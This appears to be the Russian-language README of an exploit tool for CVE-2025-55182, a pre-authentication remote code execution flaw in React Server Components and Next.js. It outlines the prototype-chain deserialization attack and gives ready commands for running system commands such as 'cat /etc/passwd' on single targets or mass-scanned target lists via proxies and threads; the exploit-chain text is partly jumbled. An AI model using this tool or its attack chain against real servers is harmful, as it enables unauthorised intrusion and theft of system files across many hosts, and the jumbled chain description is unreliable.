
Эксплойт удаленного выполнения кода до аутентификации для React Server Components и Next.js через уязвимость десериализации. Поддерживает сканирование одиночной цели и пакетное сканирование с прокси и многопоточностью.
React Server Components / Next.js Предварительная аутентификация Удаленное выполнение кода
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Критический) |
| CWE | CWE-502: Десериализация недоверенных данных |
| Тип | Pre-Auth RCE |
| Компонент | Уязвимые версии |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Связанные пакеты | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
Эта уязвимость использует недостаток десериализации в протоколе Flight React Server Components (RSC). Путем создания вредоносного multipart/form-data запроса достигается неавторизованное удаленное выполнение кода. Полная цепочка эксплуатации:
POST multipart/form-data с заголовком Next-Action инициируется путь Server Action$1:__proto__:then обращается к Chunk.prototype.then на объекте Chunk 1 в состоянии PENDING, делая его thenable$1:constructor:constructor через цепочку прототипов разрешается в конструктор FunctionChunk.prototype.then вызывает initializeModelChunk, который анализирует поле value — '{"then":"$B0"}'$B0 вызывает _formData.get(_prefix + "0"), то есть Function(code + "0")pip install requests[socks]
При отсутствии зависимостей скрипт автоматически попытается установить
requestsиPySocks.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP прокси
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 прокси
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
Результаты массового сканирования записываются в файл, указанный в -o, сохраняются только цели с подтвержденной уязвимостью.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Строки с комментариями игнорируются
Данный инструмент предназначен только для авторизованного тестирования безопасности и исследовательских целей. Пользователь должен убедиться, что у него есть явное разрешение владельца целевой системы. Несанкционированное проведение пентестов является незаконным, и пользователь несет полную юридическую ответственность.
then, считается thenable и вызывается, что приводит к выполнению кода и получению RCE| Параметр | Описание | Значение по умолчанию |
|---|
-u, --url | URL одной цели (взаимоисключающ с -f) | - |
-f, --file | Файл со списком URL целей, по одной в строке (взаимоисключающ с -u) | - |
-c, --command | Системная команда для выполнения (необязательна в режиме --check) | - |
-o, --output | Файл для вывода результатов | results.txt |
-t, --threads | Количество параллельных потоков | 10 |
-v, --verbose | Показывать отладочный вывод | False |
--proxy | Адрес прокси, поддерживается HTTP и SOCKS5 | - |
--timeout | Тайм-аут запроса (сек) | 15 |
--check | Только проверка уязвимости, без выполнения команд | False |
--verify-ssl | Проверять сертификаты TLS | False |